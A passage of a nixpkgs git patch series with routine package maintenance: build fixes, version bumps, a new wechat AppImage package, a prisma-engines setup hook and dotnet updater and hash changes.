index 3b212a18e0e0..2c2401ecdfff 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -59,7 +59,7 @@ jobs:
         with:
           merged-as-untrusted: true
 
-      - uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
+      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
         with:
           extra_nix_config: sandbox = true
 
@@ -82,7 +82,7 @@ jobs:
           merged-as-untrusted: true
           target-as-trusted: true
 
-      - uses: cachix/install-nix-action@526118121621777ccd86f79b04685a9319637641 # v31
+      - uses: cachix/install-nix-action@17fe5fb4a23ad6cbbe47d6b3f359611ad276644c # v31
         with:
           extra_nix_config: sandbox = true
 

From 35e8ef431517db9aa8120110c4cf9b9670f1baaa Mon Sep 17 00:00:00 2001
From: LiteLotus <lite5h4dow+dev@gmail.com>
Date: Sun, 15 Jun 2025 11:18:29 +0000
Subject: [PATCH 1059/4511] basalt-monado: fix build with cuda (#415264)

(cherry picked from commit 8119ec3283fb294fea48d03511ef3a3abaabf831)
---
 pkgs/by-name/ba/basalt-monado/package.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/pkgs/by-name/ba/basalt-monado/package.nix b/pkgs/by-name/ba/basalt-monado/package.nix
index cc031c9aa7b5..e37b4f1289a0 100644
--- a/pkgs/by-name/ba/basalt-monado/package.nix
+++ b/pkgs/by-name/ba/basalt-monado/package.nix
@@ -1,4 +1,5 @@
 {
+  config,
   autoPatchelfHook,
   boost,
   bzip2,
@@ -21,6 +22,8 @@
   stdenv,
   tbb,
   xorg,
+  cudaPackages,
+  enableCuda ? config.cudaSupport,
 }:
 stdenv.mkDerivation {
   pname = "basalt-monado";
@@ -63,6 +66,7 @@ stdenv.mkDerivation {
     (lib.cmakeBool "BASALT_INSTANTIATIONS_DOUBLE" false)
     (lib.cmakeBool "BUILD_TESTS" false)
     (lib.cmakeFeature "EIGEN_ROOT" "${eigen}/include/eigen3")
+    (lib.optionals enableCuda "-DCUDA_TOOLKIT_ROOT_DIR=${cudaPackages.cudatoolkit}")
   ];
 
   passthru.updateScript = nix-update-script { };

From dd00587bfb2d2a85ebd93b873ec178bcc6e15b6f Mon Sep 17 00:00:00 2001
From: misuzu <bakalolka@gmail.com>
Date: Sat, 14 Jun 2025 11:04:35 +0300
Subject: [PATCH 1060/4511] freeswitch: fix build with gcc14

(cherry picked from commit 48e2bc7ca86fedd70182d24df562863ba13243bd)
---
 pkgs/by-name/fr/freeswitch/package.nix | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/fr/freeswitch/package.nix b/pkgs/by-name/fr/freeswitch/package.nix
index 3cfa51885b9b..aeb814db328e 100644
--- a/pkgs/by-name/fr/freeswitch/package.nix
+++ b/pkgs/by-name/fr/freeswitch/package.nix
@@ -158,7 +158,11 @@ stdenv.mkDerivation rec {
 
   enableParallelBuilding = true;
 
-  env.NIX_CFLAGS_COMPILE = "-Wno-error";
+  env.NIX_CFLAGS_COMPILE = toString [
+    "-Wno-error"
+    # https://github.com/signalwire/freeswitch/issues/2495
+    "-Wno-incompatible-pointer-types"
+  ];
 
   # Using c++14 because of build error
   # gsm_at.h:94:32: error: ISO C++17 does not allow dynamic exception specifications

From 7b18c3eed37876118624c146ebf956423ff13fd6 Mon Sep 17 00:00:00 2001
From: Jean-Baptiste Giraudeau <jb@giraudeau.info>
Date: Wed, 4 Jun 2025 14:29:41 +0200
Subject: [PATCH 1061/4511] zipline: properly built sharp dependency against
 system libvips

 instead of search/replace libvips-cpp.so which does not work anymore
 for old CPUs since sharp 0.34.0 due to
 https://github.com/lovell/sharp/commit/3fd818c4b59b055ce60ebc8938297ad69cc2e1e8

(cherry picked from commit ad0130f5774dc9a30ae4ce1c0c947678fa86e311)
---
 nixos/tests/zipline.nix             |  7 +++++--
 pkgs/by-name/zi/zipline/package.nix | 25 ++++++++++++++++---------
 2 files changed, 21 insertions(+), 11 deletions(-)

diff --git a/nixos/tests/zipline.nix b/nixos/tests/zipline.nix
index 023c4484a810..40498db9133f 100644
--- a/nixos/tests/zipline.nix
+++ b/nixos/tests/zipline.nix
@@ -1,10 +1,13 @@
-{ lib, ... }:
+{ lib, pkgs, ... }:
 
 {
   name = "zipline";
   meta.maintainers = with lib.maintainers; [ defelo ];
 
   nodes.machine = {
+    # On x86, testing with a CPU without SSE 4.2 support
+    # to ensure native libvips is used
+    virtualisation.qemu.options = lib.mkIf pkgs.stdenv.hostPlatform.isx86 [ "-cpu core2duo" ];
     services.zipline = {
       enable = true;
       settings = {
@@ -38,7 +41,7 @@
     import re
 
     machine.wait_for_unit("zipline.service")
-    machine.wait_for_open_port(8000)
+    machine.wait_for_open_port(8000, timeout=300)
 
     resp = machine.succeed("curl zipline.local:8000/api/setup -v -X POST -H 'Content-Type: application/json' -d '{\"username\": \"administrator\", \"password\": \"password\"}' 2>&1")
     data = json.loads(resp.splitlines()[-1])
diff --git a/pkgs/by-name/zi/zipline/package.nix b/pkgs/by-name/zi/zipline/package.nix
index 46186f60ea81..9cf1f5508e27 100644
--- a/pkgs/by-name/zi/zipline/package.nix
+++ b/pkgs/by-name/zi/zipline/package.nix
@@ -12,6 +12,9 @@
   versionCheckHook,
   nix-update-script,
   nixosTests,
+  node-gyp,
+  pkg-config,
+  python3,
 }:
 
 let
@@ -43,12 +46,19 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-O8RLaKff4Dj/JDeUOyf7GtcFcOu/aOuclyaZmVqVi5s=";
   };
 
-  buildInputs = [ vips ];
+  buildInputs = [
+    openssl
+    vips
+  ];
 
   nativeBuildInputs = [
     pnpm_10.configHook
     nodejs_24
     makeWrapper
+    # for sharp build:
+    node-gyp
+    pkg-config
+    python3
   ];
 
   env = environment;
@@ -56,6 +66,11 @@ stdenv.mkDerivation (finalAttrs: {
   buildPhase = ''
     runHook preBuild
 
+    # Force build of sharp against native libvips (requires running install scripts).
+    # This is necessary for supporting old CPUs (ie. without SSE 4.2 instruction set).
+    pnpm config set nodedir ${nodejs_24}
+    pnpm install --force --offline --frozen-lockfile
+
     pnpm build
 
     runHook postBuild
@@ -88,14 +103,6 @@ stdenv.mkDerivation (finalAttrs: {
     runHook postInstall
   '';
 
-  preFixup = ''
-    find $out -name libvips-cpp.so.42 -print0 | while read -d $'\0' libvips; do
-      echo replacing libvips at $libvips
-      rm $libvips
-      ln -s ${lib.getLib vips}/lib/libvips-cpp.so.42 $libvips
-    done
-  '';
-
   nativeInstallCheckInputs = [ versionCheckHook ];
   versionCheckProgram = "${placeholder "out"}/bin/ziplinectl";
   versionCheckProgramArg = "--version";

From 8c90ebd4b4ea1ae06b309c7433b5eee487dd02b4 Mon Sep 17 00:00:00 2001
From: aleksana <me@aleksana.moe>
Date: Sat, 7 Jun 2025 16:08:29 +0800
Subject: [PATCH 1062/4511] gtkdialog: 0.8.3 -> 0.8.5e

(cherry picked from commit ad5cb190a1cad7456e2b027c6047fc8477285a60)
---
 pkgs/by-name/gt/gtkdialog/package.nix | 60 +++++++++++++++++----------
 1 file changed, 39 insertions(+), 21 deletions(-)

diff --git a/pkgs/by-name/gt/gtkdialog/package.nix b/pkgs/by-name/gt/gtkdialog/package.nix
index 4de4f9929fb9..95be71d2f6e0 100644
--- a/pkgs/by-name/gt/gtkdialog/package.nix
+++ b/pkgs/by-name/gt/gtkdialog/package.nix
@@ -1,38 +1,56 @@
 {
   lib,
   stdenv,
-  fetchurl,
-  fetchpatch,
-  gtk2,
+  fetchFromGitHub,
+  bison,
+  flex,
+  gtk3,
+  gtk-layer-shell,
+  meson,
+  ninja,
   pkg-config,
+  vte,
+  wrapGAppsHook3,
 }:
 
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "gtkdialog";
-  version = "0.8.3";
+  version = "0.8.5e";
 
-  src = fetchurl {
-    url = "https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/${pname}/${pname}-${version}.tar.gz";
-    sha256 = "ff89d2d7f1e6488e5df5f895716ac1d4198c2467a2a5dc1f51ab408a2faec38e";
+  src = fetchFromGitHub {
+    owner = "puppylinux-woof-CE";
+    repo = "gtkdialog";
+    tag = finalAttrs.version;
+    hash = "sha256-VaKyR7KJOAHzZ3YrTVDN7DssRNQeWhZExiY79eEZNP4=";
   };
-  patches = [
-    # Pull Gentoo patch for -fno-common toolchain fix.
-    (fetchpatch {
-      name = "fno-common.patch";
-      url = "https://gitweb.gentoo.org/repo/gentoo.git/plain/x11-misc/gtkdialog/files/gtkdialog-0.8.3-fno-common.patch?id=98692e4c4ad494b88c4902ca1ab3e6541190bbe8";
-      sha256 = "1mh01krzpfy7lbbqx3xm71xsiqqgg67w4snv794wspfqkk2hicvz";
-    })
+
+  nativeBuildInputs = [
+    bison
+    flex
+    meson
+    ninja
+    pkg-config
+    wrapGAppsHook3
   ];
 
-  nativeBuildInputs = [ pkg-config ];
-  buildInputs = [ gtk2 ];
+  buildInputs = [
+    gtk3
+    gtk-layer-shell
+    vte
+  ];
+
+  mesonFlags = [ (lib.mesonBool "docs" true) ];
+
+  # make it a little bit easier to run examples
+  postInstall = ''
+    find $out/share/doc/examples -type f -exec sed -i "s|GTKDIALOG=gtkdialog|GTKDIALOG=$out/bin/gtkdialog|g" {} +
+  '';
 
   meta = {
-    homepage = "https://code.google.com/archive/p/gtkdialog/";
-    # community links: http://murga-linux.com/puppy/viewtopic.php?t=111923 -> https://github.com/01micko/gtkdialog
+    homepage = "https://github.com/puppylinux-woof-CE/gtkdialog";
     description = "Small utility for fast and easy GUI building from many scripted and compiled languages";
     mainProgram = "gtkdialog";
     license = lib.licenses.gpl2Plus;
-    platforms = lib.platforms.linux;
+    platforms = lib.platforms.unix;
   };
-}
+})

From 9ce284819836f7d715cf69ac4962d5dcf6e20be7 Mon Sep 17 00:00:00 2001
From: aleksana <me@aleksana.moe>
Date: Sat, 7 Jun 2025 16:08:56 +0800
Subject: [PATCH 1063/4511] gtkdialog: add aleksana to maintainers

(cherry picked from commit 3e470a0f6738274e6c2354fa56f9e1869475e5f7)
---
 pkgs/by-name/gt/gtkdialog/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/gt/gtkdialog/package.nix b/pkgs/by-name/gt/gtkdialog/package.nix
index 95be71d2f6e0..8a9ae323a2e7 100644
--- a/pkgs/by-name/gt/gtkdialog/package.nix
+++ b/pkgs/by-name/gt/gtkdialog/package.nix
@@ -50,6 +50,7 @@ stdenv.mkDerivation (finalAttrs: {
     homepage = "https://github.com/puppylinux-woof-CE/gtkdialog";
     description = "Small utility for fast and easy GUI building from many scripted and compiled languages";
     mainProgram = "gtkdialog";
+    maintainers = with lib.maintainers; [ aleksana ];
     license = lib.licenses.gpl2Plus;
     platforms = lib.platforms.unix;
   };

From 2dc664d957aa4c1275a627b095444de650b07d1c Mon Sep 17 00:00:00 2001
From: Sefa Eyeoglu <contact@scrumplex.net>
Date: Sun, 15 Jun 2025 12:10:39 +0200
Subject: [PATCH 1064/4511] prisma-engines: add setup hook for configuring
 environment variables

The primary use case of this package is to use it in a devShell to allow
Prisma to work on NixOS. This setup hook simplifies this, by setting the
environment variables automatically.

Signed-off-by: Sefa Eyeoglu <contact@scrumplex.net>
(cherry picked from commit 74ab7622e712457dc57a5ec21905bb0586ff751b)
---
 pkgs/by-name/pr/prisma-engines/package.nix   | 2 ++
 pkgs/by-name/pr/prisma-engines/setup-hook.sh | 4 ++++
 2 files changed, 6 insertions(+)
 create mode 100644 pkgs/by-name/pr/prisma-engines/setup-hook.sh

diff --git a/pkgs/by-name/pr/prisma-engines/package.nix b/pkgs/by-name/pr/prisma-engines/package.nix
index 86518ccecf5c..9e7f036ee8e6 100644
--- a/pkgs/by-name/pr/prisma-engines/package.nix
+++ b/pkgs/by-name/pr/prisma-engines/package.nix
@@ -63,6 +63,8 @@ rustPlatform.buildRustPackage rec {
   # Tests are long to compile
   doCheck = false;
 
+  setupHook = ./setup-hook.sh;
+
   meta = with lib; {
     description = "Collection of engines that power the core stack for Prisma";
     homepage = "https://www.prisma.io/";
diff --git a/pkgs/by-name/pr/prisma-engines/setup-hook.sh b/pkgs/by-name/pr/prisma-engines/setup-hook.sh
new file mode 100644
index 000000000000..9579b47666bf
--- /dev/null
+++ b/pkgs/by-name/pr/prisma-engines/setup-hook.sh
@@ -0,0 +1,4 @@
+export PRISMA_SCHEMA_ENGINE_BINARY="@out@/bin/schema-engine"
+export PRISMA_QUERY_ENGINE_BINARY="@out@/bin/query-engine"
+export PRISMA_QUERY_ENGINE_LIBRARY="@out@/lib/libquery_engine.node"
+export PRISMA_FMT_BINARY="@out@/bin/prisma-fmt"

From 8c3121944311dd54e72d455b3459ebc167cf0ff6 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sun, 15 Jun 2025 21:02:33 +0800
Subject: [PATCH 1065/4511] keycastr: 0.10.1 -> 0.10.3

(cherry picked from commit c1ad2463b0793e360709d782ebba8193759829c6)
---
 pkgs/by-name/ke/keycastr/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ke/keycastr/package.nix b/pkgs/by-name/ke/keycastr/package.nix
index 8efa645b49aa..3bcfce43aba7 100644
--- a/pkgs/by-name/ke/keycastr/package.nix
+++ b/pkgs/by-name/ke/keycastr/package.nix
@@ -6,11 +6,11 @@
 }:
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "keycastr";
-  version = "0.10.1";
+  version = "0.10.3";
 
   src = fetchurl {
     url = "https://github.com/keycastr/keycastr/releases/download/v${finalAttrs.version}/KeyCastr.app.zip";
-    hash = "sha256-Ea/QtYiM7J2Gc5T8M+WizSBrgmhJ+NW4ern2A58glUk=";
+    hash = "sha256-4zhLsIaG0rK7pQnQ0RmhwrcUBGtUB4ca38GlFXQpiiU=";
   };
 
   sourceRoot = ".";

From 675605bdd6c61d07dd3ad6951b99fb23cd6281c3 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sat, 14 Jun 2025 16:23:33 +0800
Subject: [PATCH 1066/4511] wechat: init at 4.0.1.11

(cherry picked from commit 86b915e6ed8ef9a4d36f97f9275db3e976d1656a)
---
 pkgs/by-name/we/wechat/package.nix | 56 ++++++++++++++++++++++++++++++
 1 file changed, 56 insertions(+)
 create mode 100644 pkgs/by-name/we/wechat/package.nix

diff --git a/pkgs/by-name/we/wechat/package.nix b/pkgs/by-name/we/wechat/package.nix
new file mode 100644
index 000000000000..4824c76ed428
--- /dev/null
+++ b/pkgs/by-name/we/wechat/package.nix
@@ -0,0 +1,56 @@
+{
+  lib,
+  appimageTools,
+  fetchurl,
+  stdenvNoCC,
+}:
+
+let
+  inherit (stdenvNoCC.hostPlatform) system;
+  pname = "wechat";
+  version = "4.0.1.11";
+  sources = {
+    aarch64-linux = fetchurl {
+      url = "https://web.archive.org/web/20250512112413if_/https://dldir1v6.qq.com/weixin/Universal/Linux/WeChatLinux_arm64.AppImage";
+      hash = "sha256-Rg+FWNgOPC02ILUskQqQmlz1qNb9AMdvLcRWv7NQhGk=";
+    };
+    x86_64-linux = fetchurl {
+      url = "https://web.archive.org/web/20250512110825if_/https://dldir1v6.qq.com/weixin/Universal/Linux/WeChatLinux_x86_64.AppImage";
+      hash = "sha256-gBWcNQ1o1AZfNsmu1Vi1Kilqv3YbR+wqOod4XYAeVKo=";
+    };
+  };
+  src = appimageTools.extract {
+    inherit pname version;
+    src = sources.${system};
+    postExtract = ''
+      patchelf --replace-needed libtiff.so.5 libtiff.so $out/opt/wechat/wechat
+    '';
+  };
+in
+
+appimageTools.wrapAppImage {
+  inherit pname version src;
+
+  extraInstallCommands = ''
+    mkdir -p $out/share/applications
+    cp ${src}/wechat.desktop $out/share/applications/
+    mkdir -p $out/share/pixmaps
+    cp ${src}/wechat.png $out/share/pixmaps/
+
+    substituteInPlace $out/share/applications/wechat.desktop --replace-fail AppRun wechat
+  '';
+
+  meta = {
+    description = "Messaging and calling app";
+    homepage = "https://www.wechat.com/en/";
+    downloadPage = "https://linux.weixin.qq.com/en";
+    license = lib.licenses.unfree;
+    sourceProvenance = [ lib.sourceTypes.binaryNativeCode ];
+    maintainers = with lib.maintainers; [ prince213 ];
+    mainProgram = "wechat";
+    platforms = [
+      "aarch64-linux"
+      "x86_64-linux"
+    ];
+  };
+}

From c2003c7727e352fdb93cfc5647676a528187af35 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Mon, 9 Jun 2025 21:25:12 +0800
Subject: [PATCH 1067/4511] maintainers/team-list: add prince213 to ngi team

(cherry picked from commit 5b5fbfd9f07a1a0dc266dc47aab4d643eca2087a)
---
 maintainers/team-list.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/maintainers/team-list.nix b/maintainers/team-list.nix
index 5920fa688b68..bbf3e1418abc 100644
--- a/maintainers/team-list.nix
+++ b/maintainers/team-list.nix
@@ -915,6 +915,7 @@ with lib.maintainers;
     members = [
       eljamm
       fricklerhandwerk
+      prince213
       wegank
     ];
     scope = "Maintain NGI-supported software.";

From 05b17ac3606f73183f4b7a852e5fddaa3bf61ff3 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Sun, 8 Jun 2025 16:39:53 +0800
Subject: [PATCH 1068/4511] ats2: fix build

(cherry picked from commit 617a1010b506fb99bfc77358d1173be627dc2564)
---
 pkgs/by-name/at/ats2/package.nix | 15 ++++++++++++---
 1 file changed, 12 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/at/ats2/package.nix b/pkgs/by-name/at/ats2/package.nix
index dfe6fe406525..8a648c98238d 100644
--- a/pkgs/by-name/at/ats2/package.nix
+++ b/pkgs/by-name/at/ats2/package.nix
@@ -37,9 +37,18 @@ stdenv.mkDerivation rec {
     hash = "sha256-UWgDjFojPBYgykrCrJyYvVWY+Gc5d4aRGjTWjc528AM=";
   };
 
-  postPatch = lib.optionalString stdenv.cc.isClang ''
-    sed -i 's/gcc/clang/g' utils/*/DATS/atscc_util.dats
-  '';
+  postPatch =
+    ''
+      for i in cstream intinf libgmp libjson-c libpcre; do
+        ln -sf ../../../../../share/Makefile.gen contrib/atscntrb/atscntrb-hx-$i/SATS/DOCUGEN/Makefile.gen
+      done
+      for i in libcairo libsdl2; do
+        ln -sf ../../../../../../share/Makefile.gen npm-utils/contrib/atscntrb/atscntrb-hx-$i/SATS/DOCUGEN/Makefile.gen
+      done
+    ''
+    + lib.optionalString stdenv.cc.isClang ''
+      sed -i 's/gcc/clang/g' utils/*/DATS/atscc_util.dats
+    '';
 
   buildInputs = [ gmp ];
 

From be5cd6aa6781aaf42838a53b15502d97d4060ecb Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Tue, 10 Jun 2025 20:20:53 -0300
Subject: [PATCH 1069/4511] dotnetCorePackages.dotnet_{8..10}.vmr: ignore
 dotnet audit errors in fetch-deps

(cherry picked from commit ebdae8aa4abf14367239001baafd20ff4ff38915)
---
 pkgs/development/compilers/dotnet/stage0.nix | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/pkgs/development/compilers/dotnet/stage0.nix b/pkgs/development/compilers/dotnet/stage0.nix
index acc28a0025c9..841b81f0544b 100644
--- a/pkgs/development/compilers/dotnet/stage0.nix
+++ b/pkgs/development/compilers/dotnet/stage0.nix
@@ -113,6 +113,7 @@ let
                       -s //Project -t elem -n Import \
                       -i \$prev -t attr -n Project -v "${./record-downloaded-packages.proj}" \
                       repo-projects/Directory.Build.targets
+
                     # make nuget-client use the standard arcade package-cache dir, which
                     # is where we scan for dependencies
                     xmlstarlet ed \
@@ -121,6 +122,15 @@ let
                       -s \$prev -t elem -n EnvironmentVariables \
                       -i \$prev -t attr -n Include -v 'NUGET_PACKAGES=$(ProjectDirectory)artifacts/sb/package-cache/' \
                       repo-projects/nuget-client.proj
+
+                    # https://github.com/dotnet/dotnet/pull/546
+                    for proj in arcade nuget-client; do
+                      xmlstarlet ed \
+                        --inplace \
+                        -s //Project -t elem -n PropertyGroup \
+                        -s \$prev -t elem -n NoWarn -v '$(NoWarn);NU1901' \
+                        src/$proj/Directory.Build.props
+                    done
                   '';
                 buildFlags = [ "--online" ] ++ old.buildFlags;
                 prebuiltPackages = null;

From d5f5c84d577d70d993a79234575eefe08d668383 Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Wed, 11 Jun 2025 15:45:26 -0300
Subject: [PATCH 1070/4511] dotnetCorePackages.dotnet_{8..10}.vmr: fallback to
 bootstrap pre-release with same sdk version

This is necessary because there aren't official releases of all the SDKs
listed in global.json.

(cherry picked from commit 28ca61fbbbce889c6b7ce58e56cec4ca78d9d12f)
---
 pkgs/development/compilers/dotnet/update.nix | 13 +++++++++++--
 pkgs/development/compilers/dotnet/update.sh  | 11 ++++++++++-
 2 files changed, 21 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/update.nix b/pkgs/development/compilers/dotnet/update.nix
index 3e5f4fffc35f..41df7569be19 100644
--- a/pkgs/development/compilers/dotnet/update.nix
+++ b/pkgs/development/compilers/dotnet/update.nix
@@ -157,8 +157,17 @@ writeScript "update-dotnet-vmr.sh" ''
               "artifactsHash": $_2,
           }' > "${toOutputPath releaseInfoFile}"
 
-      ${lib.escapeShellArg (toOutputPath ./update.sh)} \
-          -o ${lib.escapeShellArg (toOutputPath bootstrapSdkFile)} --sdk "$sdkVersion" >&2
+      updateSDK() {
+          ${lib.escapeShellArg (toOutputPath ./update.sh)} \
+              -o ${lib.escapeShellArg (toOutputPath bootstrapSdkFile)} --sdk "$1" >&2
+      }
+
+      updateSDK "$sdkVersion" || if [[ $? == 2 ]]; then
+          >&2 echo "WARNING: bootstrap sdk missing, attempting to bootstrap with self"
+          updateSDK "$(jq -er .sdkVersion "$tmp"/release.json)"
+      else
+          exit 1
+      fi
 
       $(nix-build -A $UPDATE_NIX_ATTR_PATH.fetch-deps --no-out-link) >&2
   )
diff --git a/pkgs/development/compilers/dotnet/update.sh b/pkgs/development/compilers/dotnet/update.sh
index ad51bcaf31da..2eb3d9cc234e 100755
--- a/pkgs/development/compilers/dotnet/update.sh
+++ b/pkgs/development/compilers/dotnet/update.sh
@@ -5,6 +5,8 @@
 set -Eeuo pipefail
 shopt -s inherit_errexit
 
+trap 'exit 1' ERR
+
 rids=({linux-{,musl-}{arm,arm64,x64},osx-{arm64,x64},win-{arm64,x64,x86}})
 
 release () {
@@ -225,6 +227,11 @@ usage () {
     echo "Usage: $pname [[--sdk] [-o output] sem-version] ...
 Get updated dotnet src (platform - url & sha512) expressions for specified versions
 
+Exit codes:
+  0 Success
+  1 Failure
+  2 Release not found
+
 Examples:
   $pname 6.0.14 7.0.201    - specific x.y.z versions
   $pname 6.0 7.0           - latest x.y versions
@@ -256,11 +263,13 @@ update() {
     major_minor=$(sed 's/^\([0-9]*\.[0-9]*\).*$/\1/' <<< "$sem_version")
     content=$(curl -fsSL https://dotnetcli.blob.core.windows.net/dotnet/release-metadata/"$major_minor"/releases.json)
     if [[ -n $sdk ]]; then
+        trap '' ERR
         major_minor_patch=$(
             jq -er --arg version "$sem_version" '
                 .releases[] |
                 select(.sdks[].version == $version) |
-                ."release-version"' <<< "$content")
+                ."release-version"' <<< "$content" || if [[ $? == 4 ]]; then exit 2; else exit 1; fi)
+        trap 'exit 1' ERR
     else
         major_minor_patch=$([ "$patch_specified" == true ] && echo "$sem_version" || jq -er '."latest-release"' <<< "$content")
     fi

From 24dc9b5832db90d9534ce5875513992b46657789 Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Thu, 12 Jun 2025 10:38:07 -0300
Subject: [PATCH 1071/4511] dotnetCorePackages.dotnet_{8..10}.vmr: improve
 error handling in fetch-deps

(cherry picked from commit 812074ec6c0a68b6349a02ffbc20682374f3edc2)
---
 pkgs/development/compilers/dotnet/stage0.nix | 11 ++++++++---
 1 file changed, 8 insertions(+), 3 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/stage0.nix b/pkgs/development/compilers/dotnet/stage0.nix
index 841b81f0544b..443454b517bc 100644
--- a/pkgs/development/compilers/dotnet/stage0.nix
+++ b/pkgs/development/compilers/dotnet/stage0.nix
@@ -152,13 +152,18 @@ let
                 configurePhase ''${preBuildPhases[*]:-} buildPhase checkPhase" \
                 genericBuild
 
+              # intentionally after calling stdenv
+              set -Eeuo pipefail
+              shopt -s nullglob
+
               depsFiles=(./src/*/deps.json)
 
-              jq . $(nix-build ${toString ./combine-deps.nix} \
+              combined=$(nix-build ${toString ./combine-deps.nix} \
                 --arg list "[ ''${depsFiles[*]} ]" \
                 --argstr baseRid ${targetRid} \
-                --arg otherRids '${lib.generators.toPretty { multiline = false; } otherRids}' \
-                ) > deps.json
+                --arg otherRids '${lib.generators.toPretty { multiline = false; } otherRids}')
+
+              jq . "$combined" > deps.json
 
               mv deps.json "${toString prebuiltPackages.sourceFile}"
               EOF

From 467e3954629af6c6f0bf8769938079ee1d8a67da Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Tue, 10 Jun 2025 21:46:15 +0000
Subject: [PATCH 1072/4511] dotnetCorePackages.sdk_8_0-bin: 8.0.409 -> 8.0.411

(cherry picked from commit 07a0374c57064585cb9851f0ad2e6a4768ab8119)
---
 .../compilers/dotnet/versions/8.0.nix         | 620 +++++++++---------
 1 file changed, 310 insertions(+), 310 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/versions/8.0.nix b/pkgs/development/compilers/dotnet/versions/8.0.nix
index 335ed36c84c7..064a5355d85f 100644
--- a/pkgs/development/compilers/dotnet/versions/8.0.nix
+++ b/pkgs/development/compilers/dotnet/versions/8.0.nix
@@ -11,43 +11,43 @@ let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "8.0.16";
-      hash = "sha512-MR9FAOeqTC6UU2XS6s85l1wtrEQBn7/3nT/j2NoSEmxaYC5C8sJQQruOgm2RsLbNltiykKWQhutv9YJtZdsfnA==";
+      version = "8.0.17";
+      hash = "sha512-7CBEGt44FE1zkTlbWuztY05SgJsBe4NTVQUOgCCEb6Y/SwHW3hcBP/H7Jxt5rWBCmVB3Gn8THi+fldHe+g3V+w==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetAppHost";
-      version = "8.0.16";
-      hash = "sha512-aALkqzq7+6p6/yXuUgiGinbvn6JaG+OCe95pSGM+yxtqMYCYmzX31n6kU9OPTn9VdgzW8Xs/ZDIlzAvBRC8JJg==";
+      version = "8.0.17";
+      hash = "sha512-3d/oVZzNM1+MSLPNdeassLrOlgZuFcSEZ8z9JjofhRdPSLZwVPuYiX48ylLlyXiY6WdMGn6i2kcHI3NUZ7TQmw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.App.Ref";
-      version = "8.0.16";
-      hash = "sha512-vEEL6YBpGBdlV4x8i/p/KFJrNIBG3az+5ht8RQW3YIw+WmCL1QVRkiPEvXVSSmEkaPJrH8c8mMl818AE/S5CWg==";
+      version = "8.0.17";
+      hash = "sha512-SVpn42wW9M6HI16kOeaM09nw2SlZsgsZCHTzBPBGrVRDblwcUV7U6MxMgH9XwrqSTziAZgLhIwR2BHvHwvoxWw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHost";
-      version = "8.0.16";
-      hash = "sha512-LYLsVR9dlV8GsIXn4uvX9l0JitGP/YqtYiTp7JiTN3wqvlaBLDwocZ3GBOwDiASzlmyu38oDtDLbF75ohEELvg==";
+      version = "8.0.17";
+      hash = "sha512-Hh4MgVIOGGWATWiysB1uCATWEW/nwNaYtQcTpkVJ/NBJmzVrwx/GQQBYe0uZwiRQ8npGEBvouS0tha/5zjIcPQ==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHostPolicy";
-      version = "8.0.16";
-      hash = "sha512-52G/zHYDyNRghtFkuOo6I9pXwsd7qkzH9WLKmOVdC+X0LXKDprE7YISR4EuiErNc0OE1qKhCNdhjyr6W2c4PMg==";
+      version = "8.0.17";
+      hash = "sha512-KzLfeiD/vvTNuuWwq+yzUP0anje9vbqC+COuV1lgsD25zyUAyJwYthDVyhYdZ07aZNs7V1bx8yoMcUUL+ql3sw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NETCore.DotNetHostResolver";
-      version = "8.0.16";
-      hash = "sha512-R/LLslGX8t8qwOGsWReybSsGiXuKCdOSdH5Pb6VBiuqgCuygU2rLCZPdN2dNH1WcPqAPFJFW3fcjdc9J3mElhQ==";
+      version = "8.0.17";
+      hash = "sha512-490ItCA3f0tB89YK/p9mf6UB7w8tNusrjUYRpzXomG9TtOScyKaFmSxvRHaaeWGT/bbOpaitLSaWKKnnAxFKkw==";
     })
     (fetchNupkg {
       pname = "Microsoft.DotNet.ILCompiler";
-      version = "8.0.16";
-      hash = "sha512-OEv1V1AQb892jWtsrylFlewn9SDwdxRDSCSmhDcpJOqz39CBgg0zEH/dM+LtWMne/uwMBtN8Kt4oUEfHKzWblg==";
+      version = "8.0.17";
+      hash = "sha512-47EF7FIww1odYFPgGkZdkbazfOhxVCH5VfvU89ht52DzsdeRun+u53SKRRQewcku3M76JXlPAUaWYF9YEbRhKw==";
     })
     (fetchNupkg {
       pname = "Microsoft.NET.ILLink.Tasks";
-      version = "8.0.16";
